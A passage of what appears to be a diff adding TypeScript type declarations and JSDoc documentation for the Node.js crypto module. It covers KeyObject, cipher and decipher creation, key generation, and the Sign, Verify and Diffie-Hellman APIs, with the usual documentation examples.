| undefined; + [key: string]: unknown; + } + interface AsymmetricKeyDetails { + /** + * Key size in bits (RSA, DSA). + */ + modulusLength?: number | undefined; + /** + * Public exponent (RSA). + */ + publicExponent?: bigint | undefined; + /** + * Name of the message digest (RSA-PSS). + */ + hashAlgorithm?: string | undefined; + /** + * Name of the message digest used by MGF1 (RSA-PSS). + */ + mgf1HashAlgorithm?: string | undefined; + /** + * Minimal salt length in bytes (RSA-PSS). + */ + saltLength?: number | undefined; + /** + * Size of q in bits (DSA). + */ + divisorLength?: number | undefined; + /** + * Name of the curve (EC). + */ + namedCurve?: string | undefined; + } + /** + * Node.js uses a `KeyObject` class to represent a symmetric or asymmetric key, + * and each kind of key exposes different functions. The {@link createSecretKey}, {@link createPublicKey} and {@link createPrivateKey} methods are used to create `KeyObject`instances. `KeyObject` + * objects are not to be created directly using the `new`keyword. + * + * Most applications should consider using the new `KeyObject` API instead of + * passing keys as strings or `Buffer`s due to improved security features. + * + * `KeyObject` instances can be passed to other threads via `postMessage()`. + * The receiver obtains a cloned `KeyObject`, and the `KeyObject` does not need to + * be listed in the `transferList` argument. + * @since v11.6.0 + */ + class KeyObject { + private constructor(); + /** + * Example: Converting a `CryptoKey` instance to a `KeyObject`: + * + * ```js + * const { KeyObject } = await import('node:crypto'); + * const { subtle } = globalThis.crypto; + * + * const key = await subtle.generateKey({ + * name: 'HMAC', + * hash: 'SHA-256', + * length: 256, + * }, true, ['sign', 'verify']); + * + * const keyObject = KeyObject.from(key); + * console.log(keyObject.symmetricKeySize); + * // Prints: 32 (symmetric key size in bytes) + * ``` + * @since v15.0.0 + */ + static from(key: webcrypto.CryptoKey): KeyObject; + /** + * For asymmetric keys, this property represents the type of the key. Supported key + * types are: + * + * * `'rsa'` (OID 1.2.840.113549.1.1.1) + * * `'rsa-pss'` (OID 1.2.840.113549.1.1.10) + * * `'dsa'` (OID 1.2.840.10040.4.1) + * * `'ec'` (OID 1.2.840.10045.2.1) + * * `'x25519'` (OID 1.3.101.110) + * * `'x448'` (OID 1.3.101.111) + * * `'ed25519'` (OID 1.3.101.112) + * * `'ed448'` (OID 1.3.101.113) + * * `'dh'` (OID 1.2.840.113549.1.3.1) + * + * This property is `undefined` for unrecognized `KeyObject` types and symmetric + * keys. + * @since v11.6.0 + */ + asymmetricKeyType?: KeyType | undefined; + /** + * For asymmetric keys, this property represents the size of the embedded key in + * bytes. This property is `undefined` for symmetric keys. + */ + asymmetricKeySize?: number | undefined; + /** + * This property exists only on asymmetric keys. Depending on the type of the key, + * this object contains information about the key. None of the information obtained + * through this property can be used to uniquely identify a key or to compromise + * the security of the key. + * + * For RSA-PSS keys, if the key material contains a `RSASSA-PSS-params` sequence, + * the `hashAlgorithm`, `mgf1HashAlgorithm`, and `saltLength` properties will be + * set. + * + * Other key details might be exposed via this API using additional attributes. + * @since v15.7.0 + */ + asymmetricKeyDetails?: AsymmetricKeyDetails | undefined; + /** + * For symmetric keys, the following encoding options can be used: + * + * For public keys, the following encoding options can be used: + * + * For private keys, the following encoding options can be used: + * + * The result type depends on the selected encoding format, when PEM the + * result is a string, when DER it will be a buffer containing the data + * encoded as DER, when [JWK](https://tools.ietf.org/html/rfc7517) it will be an object. + * + * When [JWK](https://tools.ietf.org/html/rfc7517) encoding format was selected, all other encoding options are + * ignored. + * + * PKCS#1, SEC1, and PKCS#8 type keys can be encrypted by using a combination of + * the `cipher` and `format` options. The PKCS#8 `type` can be used with any`format` to encrypt any key algorithm (RSA, EC, or DH) by specifying a`cipher`. PKCS#1 and SEC1 can only be + * encrypted by specifying a `cipher`when the PEM `format` is used. For maximum compatibility, use PKCS#8 for + * encrypted private keys. Since PKCS#8 defines its own + * encryption mechanism, PEM-level encryption is not supported when encrypting + * a PKCS#8 key. See [RFC 5208](https://www.rfc-editor.org/rfc/rfc5208.txt) for PKCS#8 encryption and [RFC 1421](https://www.rfc-editor.org/rfc/rfc1421.txt) for + * PKCS#1 and SEC1 encryption. + * @since v11.6.0 + */ + export(options: KeyExportOptions<"pem">): string | Buffer; + export(options?: KeyExportOptions<"der">): Buffer; + export(options?: JwkKeyExportOptions): JsonWebKey; + /** + * Returns `true` or `false` depending on whether the keys have exactly the same + * type, value, and parameters. This method is not [constant time](https://en.wikipedia.org/wiki/Timing_attack). + * @since v17.7.0, v16.15.0 + * @param otherKeyObject A `KeyObject` with which to compare `keyObject`. + */ + equals(otherKeyObject: KeyObject): boolean; + /** + * For secret keys, this property represents the size of the key in bytes. This + * property is `undefined` for asymmetric keys. + * @since v11.6.0 + */ + symmetricKeySize?: number | undefined; + /** + * Depending on the type of this `KeyObject`, this property is either`'secret'` for secret (symmetric) keys, `'public'` for public (asymmetric) keys + * or `'private'` for private (asymmetric) keys. + * @since v11.6.0 + */ + type: KeyObjectType; + } + type CipherCCMTypes = "aes-128-ccm" | "aes-192-ccm" | "aes-256-ccm" | "chacha20-poly1305"; + type CipherGCMTypes = "aes-128-gcm" | "aes-192-gcm" | "aes-256-gcm"; + type CipherOCBTypes = "aes-128-ocb" | "aes-192-ocb" | "aes-256-ocb"; + type BinaryLike = string | NodeJS.ArrayBufferView; + type CipherKey = BinaryLike | KeyObject; + interface CipherCCMOptions extends stream.TransformOptions { + authTagLength: number; + } + interface CipherGCMOptions extends stream.TransformOptions { + authTagLength?: number | undefined; + } + interface CipherOCBOptions extends stream.TransformOptions { + authTagLength: number; + } + /** + * Creates and returns a `Cipher` object, with the given `algorithm`, `key` and + * initialization vector (`iv`). + * + * The `options` argument controls stream behavior and is optional except when a + * cipher in CCM or OCB mode (e.g. `'aes-128-ccm'`) is used. In that case, the`authTagLength` option is required and specifies the length of the + * authentication tag in bytes, see `CCM mode`. In GCM mode, the `authTagLength`option is not required but can be used to set the length of the authentication + * tag that will be returned by `getAuthTag()` and defaults to 16 bytes. + * For `chacha20-poly1305`, the `authTagLength` option defaults to 16 bytes. + * + * The `algorithm` is dependent on OpenSSL, examples are `'aes192'`, etc. On + * recent OpenSSL releases, `openssl list -cipher-algorithms` will + * display the available cipher algorithms. + * + * The `key` is the raw key used by the `algorithm` and `iv` is an [initialization vector](https://en.wikipedia.org/wiki/Initialization_vector). Both arguments must be `'utf8'` encoded + * strings,`Buffers`, `TypedArray`, or `DataView`s. The `key` may optionally be + * a `KeyObject` of type `secret`. If the cipher does not need + * an initialization vector, `iv` may be `null`. + * + * When passing strings for `key` or `iv`, please consider `caveats when using strings as inputs to cryptographic APIs`. + * + * Initialization vectors should be unpredictable and unique; ideally, they will be + * cryptographically random. They do not have to be secret: IVs are typically just + * added to ciphertext messages unencrypted. It may sound contradictory that + * something has to be unpredictable and unique, but does not have to be secret; + * remember that an attacker must not be able to predict ahead of time what a + * given IV will be. + * @since v0.1.94 + * @param options `stream.transform` options + */ + function createCipheriv( + algorithm: CipherCCMTypes, + key: CipherKey, + iv: BinaryLike, + options: CipherCCMOptions, + ): CipherCCM; + function createCipheriv( + algorithm: CipherOCBTypes, + key: CipherKey, + iv: BinaryLike, + options: CipherOCBOptions, + ): CipherOCB; + function createCipheriv( + algorithm: CipherGCMTypes, + key: CipherKey, + iv: BinaryLike, + options?: CipherGCMOptions, + ): CipherGCM; + function createCipheriv( + algorithm: string, + key: CipherKey, + iv: BinaryLike | null, + options?: stream.TransformOptions, + ): Cipher; + /** + * Instances of the `Cipher` class are used to encrypt data. The class can be + * used in one of two ways: + * + * * As a `stream` that is both readable and writable, where plain unencrypted + * data is written to produce encrypted data on the readable side, or + * * Using the `cipher.update()` and `cipher.final()` methods to produce + * the encrypted data. + * + * The {@link createCipheriv} method is + * used to create `Cipher` instances. `Cipher` objects are not to be created + * directly using the `new` keyword. + * + * Example: Using `Cipher` objects as streams: + * + * ```js + * const { + * scrypt, + * randomFill, + * createCipheriv, + * } = await import('node:crypto'); + * + * const algorithm = 'aes-192-cbc'; + * const password = 'Password used to generate key'; + * + * // First, we'll generate the key. The key length is dependent on the algorithm. + * // In this case for aes192, it is 24 bytes (192 bits). + * scrypt(password, 'salt', 24, (err, key) => { + * if (err) throw err; + * // Then, we'll generate a random initialization vector + * randomFill(new Uint8Array(16), (err, iv) => { + * if (err) throw err; + * + * // Once we have the key and iv, we can create and use the cipher... + * const cipher = createCipheriv(algorithm, key, iv); + * + * let encrypted = ''; + * cipher.setEncoding('hex'); + * + * cipher.on('data', (chunk) => encrypted += chunk); + * cipher.on('end', () => console.log(encrypted)); + * + * cipher.write('some clear text data'); + * cipher.end(); + * }); + * }); + * ``` + * + * Example: Using `Cipher` and piped streams: + * + * ```js + * import { + * createReadStream, + * createWriteStream, + * } from 'node:fs'; + * + * import { + * pipeline, + * } from 'node:stream'; + * + * const { + * scrypt, + * randomFill, + * createCipheriv, + * } = await import('node:crypto'); + * + * const algorithm = 'aes-192-cbc'; + * const password = 'Password used to generate key'; + * + * // First, we'll generate the key. The key length is dependent on the algorithm. + * // In this case for aes192, it is 24 bytes (192 bits). + * scrypt(password, 'salt', 24, (err, key) => { + * if (err) throw err; + * // Then, we'll generate a random initialization vector + * randomFill(new Uint8Array(16), (err, iv) => { + * if (err) throw err; + * + * const cipher = createCipheriv(algorithm, key, iv); + * + * const input = createReadStream('test.js'); + * const output = createWriteStream('test.enc'); + * + * pipeline(input, cipher, output, (err) => { + * if (err) throw err; + * }); + * }); + * }); + * ``` + * + * Example: Using the `cipher.update()` and `cipher.final()` methods: + * + * ```js + * const { + * scrypt, + * randomFill, + * createCipheriv, + * } = await import('node:crypto'); + * + * const algorithm = 'aes-192-cbc'; + * const password = 'Password used to generate key'; + * + * // First, we'll generate the key. The key length is dependent on the algorithm. + * // In this case for aes192, it is 24 bytes (192 bits). + * scrypt(password, 'salt', 24, (err, key) => { + * if (err) throw err; + * // Then, we'll generate a random initialization vector + * randomFill(new Uint8Array(16), (err, iv) => { + * if (err) throw err; + * + * const cipher = createCipheriv(algorithm, key, iv); + * + * let encrypted = cipher.update('some clear text data', 'utf8', 'hex'); + * encrypted += cipher.final('hex'); + * console.log(encrypted); + * }); + * }); + * ``` + * @since v0.1.94 + */ + class Cipher extends stream.Transform { + private constructor(); + /** + * Updates the cipher with `data`. If the `inputEncoding` argument is given, + * the `data`argument is a string using the specified encoding. If the `inputEncoding`argument is not given, `data` must be a `Buffer`, `TypedArray`, or `DataView`. If `data` is a `Buffer`, + * `TypedArray`, or `DataView`, then `inputEncoding` is ignored. + * + * The `outputEncoding` specifies the output format of the enciphered + * data. If the `outputEncoding`is specified, a string using the specified encoding is returned. If no`outputEncoding` is provided, a `Buffer` is returned. + * + * The `cipher.update()` method can be called multiple times with new data until `cipher.final()` is called. Calling `cipher.update()` after `cipher.final()` will result in an error being + * thrown. + * @since v0.1.94 + * @param inputEncoding The `encoding` of the data. + * @param outputEncoding The `encoding` of the return value. + */ + update(data: BinaryLike): Buffer; + update(data: string, inputEncoding: Encoding): Buffer; + update(data: NodeJS.ArrayBufferView, inputEncoding: undefined, outputEncoding: Encoding): string; + update(data: string, inputEncoding: Encoding | undefined, outputEncoding: Encoding): string; + /** + * Once the `cipher.final()` method has been called, the `Cipher` object can no + * longer be used to encrypt data. Attempts to call `cipher.final()` more than + * once will result in an error being thrown. + * @since v0.1.94 + * @param outputEncoding The `encoding` of the return value. + * @return Any remaining enciphered contents. If `outputEncoding` is specified, a string is returned. If an `outputEncoding` is not provided, a {@link Buffer} is returned. + */ + final(): Buffer; + final(outputEncoding: BufferEncoding): string; + /** + * When using block encryption algorithms, the `Cipher` class will automatically + * add padding to the input data to the appropriate block size. To disable the + * default padding call `cipher.setAutoPadding(false)`. + * + * When `autoPadding` is `false`, the length of the entire input data must be a + * multiple of the cipher's block size or `cipher.final()` will throw an error. + * Disabling automatic padding is useful for non-standard padding, for instance + * using `0x0` instead of PKCS padding. + * + * The `cipher.setAutoPadding()` method must be called before `cipher.final()`. + * @since v0.7.1 + * @param [autoPadding=true] + * @return for method chaining. + */ + setAutoPadding(autoPadding?: boolean): this; + } + interface CipherCCM extends Cipher { + setAAD( + buffer: NodeJS.ArrayBufferView, + options: { + plaintextLength: number; + }, + ): this; + getAuthTag(): Buffer; + } + interface CipherGCM extends Cipher { + setAAD( + buffer: NodeJS.ArrayBufferView, + options?: { + plaintextLength: number; + }, + ): this; + getAuthTag(): Buffer; + } + interface CipherOCB extends Cipher { + setAAD( + buffer: NodeJS.ArrayBufferView, + options?: { + plaintextLength: number; + }, + ): this; + getAuthTag(): Buffer; + } + /** + * Creates and returns a `Decipher` object that uses the given `algorithm`, `key` and initialization vector (`iv`). + * + * The `options` argument controls stream behavior and is optional except when a + * cipher in CCM or OCB mode (e.g. `'aes-128-ccm'`) is used. In that case, the `authTagLength` option is required and specifies the length of the + * authentication tag in bytes, see `CCM mode`. In GCM mode, the `authTagLength` option is not required but can be used to restrict accepted authentication tags + * to those with the specified length. + * For `chacha20-poly1305`, the `authTagLength` option defaults to 16 bytes. + * + * The `algorithm` is dependent on OpenSSL, examples are `'aes192'`, etc. On + * recent OpenSSL releases, `openssl list -cipher-algorithms` will + * display the available cipher algorithms. + * + * The `key` is the raw key used by the `algorithm` and `iv` is an [initialization vector](https://en.wikipedia.org/wiki/Initialization_vector). Both arguments must be `'utf8'` encoded + * strings,`Buffers`, `TypedArray`, or `DataView`s. The `key` may optionally be + * a `KeyObject` of type `secret`. If the cipher does not need + * an initialization vector, `iv` may be `null`. + * + * When passing strings for `key` or `iv`, please consider `caveats when using strings as inputs to cryptographic APIs`. + * + * Initialization vectors should be unpredictable and unique; ideally, they will be + * cryptographically random. They do not have to be secret: IVs are typically just + * added to ciphertext messages unencrypted. It may sound contradictory that + * something has to be unpredictable and unique, but does not have to be secret; + * remember that an attacker must not be able to predict ahead of time what a given + * IV will be. + * @since v0.1.94 + * @param options `stream.transform` options + */ + function createDecipheriv( + algorithm: CipherCCMTypes, + key: CipherKey, + iv: BinaryLike, + options: CipherCCMOptions, + ): DecipherCCM; + function createDecipheriv( + algorithm: CipherOCBTypes, + key: CipherKey, + iv: BinaryLike, + options: CipherOCBOptions, + ): DecipherOCB; + function createDecipheriv( + algorithm: CipherGCMTypes, + key: CipherKey, + iv: BinaryLike, + options?: CipherGCMOptions, + ): DecipherGCM; + function createDecipheriv( + algorithm: string, + key: CipherKey, + iv: BinaryLike | null, + options?: stream.TransformOptions, + ): Decipher; + /** + * Instances of the `Decipher` class are used to decrypt data. The class can be + * used in one of two ways: + * + * * As a `stream` that is both readable and writable, where plain encrypted + * data is written to produce unencrypted data on the readable side, or + * * Using the `decipher.update()` and `decipher.final()` methods to + * produce the unencrypted data. + * + * The {@link createDecipheriv} method is + * used to create `Decipher` instances. `Decipher` objects are not to be created + * directly using the `new` keyword. + * + * Example: Using `Decipher` objects as streams: + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { + * scryptSync, + * createDecipheriv, + * } = await import('node:crypto'); + * + * const algorithm = 'aes-192-cbc'; + * const password = 'Password used to generate key'; + * // Key length is dependent on the algorithm. In this case for aes192, it is + * // 24 bytes (192 bits). + * // Use the async `crypto.scrypt()` instead. + * const key = scryptSync(password, 'salt', 24); + * // The IV is usually passed along with the ciphertext. + * const iv = Buffer.alloc(16, 0); // Initialization vector. + * + * const decipher = createDecipheriv(algorithm, key, iv); + * + * let decrypted = ''; + * decipher.on('readable', () => { + * let chunk; + * while (null !== (chunk = decipher.read())) { + * decrypted += chunk.toString('utf8'); + * } + * }); + * decipher.on('end', () => { + * console.log(decrypted); + * // Prints: some clear text data + * }); + * + * // Encrypted with same algorithm, key and iv. + * const encrypted = + * 'e5f79c5915c02171eec6b212d5520d44480993d7d622a7c4c2da32f6efda0ffa'; + * decipher.write(encrypted, 'hex'); + * decipher.end(); + * ``` + * + * Example: Using `Decipher` and piped streams: + * + * ```js + * import { + * createReadStream, + * createWriteStream, + * } from 'node:fs'; + * import { Buffer } from 'node:buffer'; + * const { + * scryptSync, + * createDecipheriv, + * } = await import('node:crypto'); + * + * const algorithm = 'aes-192-cbc'; + * const password = 'Password used to generate key'; + * // Use the async `crypto.scrypt()` instead. + * const key = scryptSync(password, 'salt', 24); + * // The IV is usually passed along with the ciphertext. + * const iv = Buffer.alloc(16, 0); // Initialization vector. + * + * const decipher = createDecipheriv(algorithm, key, iv); + * + * const input = createReadStream('test.enc'); + * const output = createWriteStream('test.js'); + * + * input.pipe(decipher).pipe(output); + * ``` + * + * Example: Using the `decipher.update()` and `decipher.final()` methods: + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { + * scryptSync, + * createDecipheriv, + * } = await import('node:crypto'); + * + * const algorithm = 'aes-192-cbc'; + * const password = 'Password used to generate key'; + * // Use the async `crypto.scrypt()` instead. + * const key = scryptSync(password, 'salt', 24); + * // The IV is usually passed along with the ciphertext. + * const iv = Buffer.alloc(16, 0); // Initialization vector. + * + * const decipher = createDecipheriv(algorithm, key, iv); + * + * // Encrypted using same algorithm, key and iv. + * const encrypted = + * 'e5f79c5915c02171eec6b212d5520d44480993d7d622a7c4c2da32f6efda0ffa'; + * let decrypted = decipher.update(encrypted, 'hex', 'utf8'); + * decrypted += decipher.final('utf8'); + * console.log(decrypted); + * // Prints: some clear text data + * ``` + * @since v0.1.94 + */ + class Decipher extends stream.Transform { + private constructor(); + /** + * Updates the decipher with `data`. If the `inputEncoding` argument is given, + * the `data` argument is a string using the specified encoding. If the `inputEncoding` argument is not given, `data` must be a `Buffer`. If `data` is a `Buffer` then `inputEncoding` is + * ignored. + * + * The `outputEncoding` specifies the output format of the enciphered + * data. If the `outputEncoding` is specified, a string using the specified encoding is returned. If no `outputEncoding` is provided, a `Buffer` is returned. + * + * The `decipher.update()` method can be called multiple times with new data until `decipher.final()` is called. Calling `decipher.update()` after `decipher.final()` will result in an error + * being thrown. + * @since v0.1.94 + * @param inputEncoding The `encoding` of the `data` string. + * @param outputEncoding The `encoding` of the return value. + */ + update(data: NodeJS.ArrayBufferView): Buffer; + update(data: string, inputEncoding: Encoding): Buffer; + update(data: NodeJS.ArrayBufferView, inputEncoding: undefined, outputEncoding: Encoding): string; + update(data: string, inputEncoding: Encoding | undefined, outputEncoding: Encoding): string; + /** + * Once the `decipher.final()` method has been called, the `Decipher` object can + * no longer be used to decrypt data. Attempts to call `decipher.final()` more + * than once will result in an error being thrown. + * @since v0.1.94 + * @param outputEncoding The `encoding` of the return value. + * @return Any remaining deciphered contents. If `outputEncoding` is specified, a string is returned. If an `outputEncoding` is not provided, a {@link Buffer} is returned. + */ + final(): Buffer; + final(outputEncoding: BufferEncoding): string; + /** + * When data has been encrypted without standard block padding, calling `decipher.setAutoPadding(false)` will disable automatic padding to prevent `decipher.final()` from checking for and + * removing padding. + * + * Turning auto padding off will only work if the input data's length is a + * multiple of the ciphers block size. + * + * The `decipher.setAutoPadding()` method must be called before `decipher.final()`. + * @since v0.7.1 + * @param [autoPadding=true] + * @return for method chaining. + */ + setAutoPadding(auto_padding?: boolean): this; + } + interface DecipherCCM extends Decipher { + setAuthTag(buffer: NodeJS.ArrayBufferView): this; + setAAD( + buffer: NodeJS.ArrayBufferView, + options: { + plaintextLength: number; + }, + ): this; + } + interface DecipherGCM extends Decipher { + setAuthTag(buffer: NodeJS.ArrayBufferView): this; + setAAD( + buffer: NodeJS.ArrayBufferView, + options?: { + plaintextLength: number; + }, + ): this; + } + interface DecipherOCB extends Decipher { + setAuthTag(buffer: NodeJS.ArrayBufferView): this; + setAAD( + buffer: NodeJS.ArrayBufferView, + options?: { + plaintextLength: number; + }, + ): this; + } + interface PrivateKeyInput { + key: string | Buffer; + format?: KeyFormat | undefined; + type?: "pkcs1" | "pkcs8" | "sec1" | undefined; + passphrase?: string | Buffer | undefined; + encoding?: string | undefined; + } + interface PublicKeyInput { + key: string | Buffer; + format?: KeyFormat | undefined; + type?: "pkcs1" | "spki" | undefined; + encoding?: string | undefined; + } + /** + * Asynchronously generates a new random secret key of the given `length`. The `type` will determine which validations will be performed on the `length`. + * + * ```js + * const { + * generateKey, + * } = await import('node:crypto'); + * + * generateKey('hmac', { length: 512 }, (err, key) => { + * if (err) throw err; + * console.log(key.export().toString('hex')); // 46e..........620 + * }); + * ``` + * + * The size of a generated HMAC key should not exceed the block size of the + * underlying hash function. See {@link createHmac} for more information. + * @since v15.0.0 + * @param type The intended use of the generated secret key. Currently accepted values are `'hmac'` and `'aes'`. + */ + function generateKey( + type: "hmac" | "aes", + options: { + length: number; + }, + callback: (err: Error | null, key: KeyObject) => void, + ): void; + /** + * Synchronously generates a new random secret key of the given `length`. The `type` will determine which validations will be performed on the `length`. + * + * ```js + * const { + * generateKeySync, + * } = await import('node:crypto'); + * + * const key = generateKeySync('hmac', { length: 512 }); + * console.log(key.export().toString('hex')); // e89..........41e + * ``` + * + * The size of a generated HMAC key should not exceed the block size of the + * underlying hash function. See {@link createHmac} for more information. + * @since v15.0.0 + * @param type The intended use of the generated secret key. Currently accepted values are `'hmac'` and `'aes'`. + */ + function generateKeySync( + type: "hmac" | "aes", + options: { + length: number; + }, + ): KeyObject; + interface JsonWebKeyInput { + key: JsonWebKey; + format: "jwk"; + } + /** + * Creates and returns a new key object containing a private key. If `key` is a + * string or `Buffer`, `format` is assumed to be `'pem'`; otherwise, `key` must be an object with the properties described above. + * + * If the private key is encrypted, a `passphrase` must be specified. The length + * of the passphrase is limited to 1024 bytes. + * @since v11.6.0 + */ + function createPrivateKey(key: PrivateKeyInput | string | Buffer | JsonWebKeyInput): KeyObject; + /** + * Creates and returns a new key object containing a public key. If `key` is a + * string or `Buffer`, `format` is assumed to be `'pem'`; if `key` is a `KeyObject` with type `'private'`, the public key is derived from the given private key; + * otherwise, `key` must be an object with the properties described above. + * + * If the format is `'pem'`, the `'key'` may also be an X.509 certificate. + * + * Because public keys can be derived from private keys, a private key may be + * passed instead of a public key. In that case, this function behaves as if {@link createPrivateKey} had been called, except that the type of the + * returned `KeyObject` will be `'public'` and that the private key cannot be + * extracted from the returned `KeyObject`. Similarly, if a `KeyObject` with type `'private'` is given, a new `KeyObject` with type `'public'` will be returned + * and it will be impossible to extract the private key from the returned object. + * @since v11.6.0 + */ + function createPublicKey(key: PublicKeyInput | string | Buffer | KeyObject | JsonWebKeyInput): KeyObject; + /** + * Creates and returns a new key object containing a secret key for symmetric + * encryption or `Hmac`. + * @since v11.6.0 + * @param encoding The string encoding when `key` is a string. + */ + function createSecretKey(key: NodeJS.ArrayBufferView): KeyObject; + function createSecretKey(key: string, encoding: BufferEncoding): KeyObject; + /** + * Creates and returns a `Sign` object that uses the given `algorithm`. Use {@link getHashes} to obtain the names of the available digest algorithms. + * Optional `options` argument controls the `stream.Writable` behavior. + * + * In some cases, a `Sign` instance can be created using the name of a signature + * algorithm, such as `'RSA-SHA256'`, instead of a digest algorithm. This will use + * the corresponding digest algorithm. This does not work for all signature + * algorithms, such as `'ecdsa-with-SHA256'`, so it is best to always use digest + * algorithm names. + * @since v0.1.92 + * @param options `stream.Writable` options + */ + function createSign(algorithm: string, options?: stream.WritableOptions): Sign; + type DSAEncoding = "der" | "ieee-p1363"; + interface SigningOptions { + /** + * @see crypto.constants.RSA_PKCS1_PADDING + */ + padding?: number | undefined; + saltLength?: number | undefined; + dsaEncoding?: DSAEncoding | undefined; + } + interface SignPrivateKeyInput extends PrivateKeyInput, SigningOptions {} + interface SignKeyObjectInput extends SigningOptions { + key: KeyObject; + } + interface SignJsonWebKeyInput extends JsonWebKeyInput, SigningOptions {} + interface VerifyPublicKeyInput extends PublicKeyInput, SigningOptions {} + interface VerifyKeyObjectInput extends SigningOptions { + key: KeyObject; + } + interface VerifyJsonWebKeyInput extends JsonWebKeyInput, SigningOptions {} + type KeyLike = string | Buffer | KeyObject; + /** + * The `Sign` class is a utility for generating signatures. It can be used in one + * of two ways: + * + * * As a writable `stream`, where data to be signed is written and the `sign.sign()` method is used to generate and return the signature, or + * * Using the `sign.update()` and `sign.sign()` methods to produce the + * signature. + * + * The {@link createSign} method is used to create `Sign` instances. The + * argument is the string name of the hash function to use. `Sign` objects are not + * to be created directly using the `new` keyword. + * + * Example: Using `Sign` and `Verify` objects as streams: + * + * ```js + * const { + * generateKeyPairSync, + * createSign, + * createVerify, + * } = await import('node:crypto'); + * + * const { privateKey, publicKey } = generateKeyPairSync('ec', { + * namedCurve: 'sect239k1', + * }); + * + * const sign = createSign('SHA256'); + * sign.write('some data to sign'); + * sign.end(); + * const signature = sign.sign(privateKey, 'hex'); + * + * const verify = createVerify('SHA256'); + * verify.write('some data to sign'); + * verify.end(); + * console.log(verify.verify(publicKey, signature, 'hex')); + * // Prints: true + * ``` + * + * Example: Using the `sign.update()` and `verify.update()` methods: + * + * ```js + * const { + * generateKeyPairSync, + * createSign, + * createVerify, + * } = await import('node:crypto'); + * + * const { privateKey, publicKey } = generateKeyPairSync('rsa', { + * modulusLength: 2048, + * }); + * + * const sign = createSign('SHA256'); + * sign.update('some data to sign'); + * sign.end(); + * const signature = sign.sign(privateKey); + * + * const verify = createVerify('SHA256'); + * verify.update('some data to sign'); + * verify.end(); + * console.log(verify.verify(publicKey, signature)); + * // Prints: true + * ``` + * @since v0.1.92 + */ + class Sign extends stream.Writable { + private constructor(); + /** + * Updates the `Sign` content with the given `data`, the encoding of which + * is given in `inputEncoding`. + * If `encoding` is not provided, and the `data` is a string, an + * encoding of `'utf8'` is enforced. If `data` is a `Buffer`, `TypedArray`, or`DataView`, then `inputEncoding` is ignored. + * + * This can be called many times with new data as it is streamed. + * @since v0.1.92 + * @param inputEncoding The `encoding` of the `data` string. + */ + update(data: BinaryLike): this; + update(data: string, inputEncoding: Encoding): this; + /** + * Calculates the signature on all the data passed through using either `sign.update()` or `sign.write()`. + * + * If `privateKey` is not a `KeyObject`, this function behaves as if `privateKey` had been passed to {@link createPrivateKey}. If it is an + * object, the following additional properties can be passed: + * + * If `outputEncoding` is provided a string is returned; otherwise a `Buffer` is returned. + * + * The `Sign` object can not be again used after `sign.sign()` method has been + * called. Multiple calls to `sign.sign()` will result in an error being thrown. + * @since v0.1.92 + */ + sign(privateKey: KeyLike | SignKeyObjectInput | SignPrivateKeyInput | SignJsonWebKeyInput): Buffer; + sign( + privateKey: KeyLike | SignKeyObjectInput | SignPrivateKeyInput | SignJsonWebKeyInput, + outputFormat: BinaryToTextEncoding, + ): string; + } + /** + * Creates and returns a `Verify` object that uses the given algorithm. + * Use {@link getHashes} to obtain an array of names of the available + * signing algorithms. Optional `options` argument controls the `stream.Writable` behavior. + * + * In some cases, a `Verify` instance can be created using the name of a signature + * algorithm, such as `'RSA-SHA256'`, instead of a digest algorithm. This will use + * the corresponding digest algorithm. This does not work for all signature + * algorithms, such as `'ecdsa-with-SHA256'`, so it is best to always use digest + * algorithm names. + * @since v0.1.92 + * @param options `stream.Writable` options + */ + function createVerify(algorithm: string, options?: stream.WritableOptions): Verify; + /** + * The `Verify` class is a utility for verifying signatures. It can be used in one + * of two ways: + * + * * As a writable `stream` where written data is used to validate against the + * supplied signature, or + * * Using the `verify.update()` and `verify.verify()` methods to verify + * the signature. + * + * The {@link createVerify} method is used to create `Verify` instances. `Verify` objects are not to be created directly using the `new` keyword. + * + * See `Sign` for examples. + * @since v0.1.92 + */ + class Verify extends stream.Writable { + private constructor(); + /** + * Updates the `Verify` content with the given `data`, the encoding of which + * is given in `inputEncoding`. + * If `inputEncoding` is not provided, and the `data` is a string, an + * encoding of `'utf8'` is enforced. If `data` is a `Buffer`, `TypedArray`, or `DataView`, then `inputEncoding` is ignored. + * + * This can be called many times with new data as it is streamed. + * @since v0.1.92 + * @param inputEncoding The `encoding` of the `data` string. + */ + update(data: BinaryLike): Verify; + update(data: string, inputEncoding: Encoding): Verify; + /** + * Verifies the provided data using the given `object` and `signature`. + * + * If `object` is not a `KeyObject`, this function behaves as if `object` had been passed to {@link createPublicKey}. If it is an + * object, the following additional properties can be passed: + * + * The `signature` argument is the previously calculated signature for the data, in + * the `signatureEncoding`. + * If a `signatureEncoding` is specified, the `signature` is expected to be a + * string; otherwise `signature` is expected to be a `Buffer`, `TypedArray`, or `DataView`. + * + * The `verify` object can not be used again after `verify.verify()` has been + * called. Multiple calls to `verify.verify()` will result in an error being + * thrown. + * + * Because public keys can be derived from private keys, a private key may + * be passed instead of a public key. + * @since v0.1.92 + */ + verify( + object: KeyLike | VerifyKeyObjectInput | VerifyPublicKeyInput | VerifyJsonWebKeyInput, + signature: NodeJS.ArrayBufferView, + ): boolean; + verify( + object: KeyLike | VerifyKeyObjectInput | VerifyPublicKeyInput | VerifyJsonWebKeyInput, + signature: string, + signature_format?: BinaryToTextEncoding, + ): boolean; + } + /** + * Creates a `DiffieHellman` key exchange object using the supplied `prime` and an + * optional specific `generator`. + * + * The `generator` argument can be a number, string, or `Buffer`. If `generator` is not specified, the value `2` is used. + * + * If `primeEncoding` is specified, `prime` is expected to be a string; otherwise + * a `Buffer`, `TypedArray`, or `DataView` is expected. + * + * If `generatorEncoding` is specified, `generator` is expected to be a string; + * otherwise a number, `Buffer`, `TypedArray`, or `DataView` is expected. + * @since v0.11.12 + * @param primeEncoding The `encoding` of the `prime` string. + * @param [generator=2] + * @param generatorEncoding The `encoding` of the `generator` string. + */ + function createDiffieHellman(primeLength: number, generator?: number): DiffieHellman; + function createDiffieHellman( + prime: ArrayBuffer | NodeJS.ArrayBufferView, + generator?: number | ArrayBuffer | NodeJS.ArrayBufferView, + ): DiffieHellman; + function createDiffieHellman( + prime: ArrayBuffer | NodeJS.ArrayBufferView, + generator: string, + generatorEncoding: BinaryToTextEncoding, + ): DiffieHellman; + function createDiffieHellman( + prime: string, + primeEncoding: BinaryToTextEncoding, + generator?: number | ArrayBuffer | NodeJS.ArrayBufferView, + ): DiffieHellman; + function createDiffieHellman( + prime: string, + primeEncoding: BinaryToTextEncoding, + generator: string, + 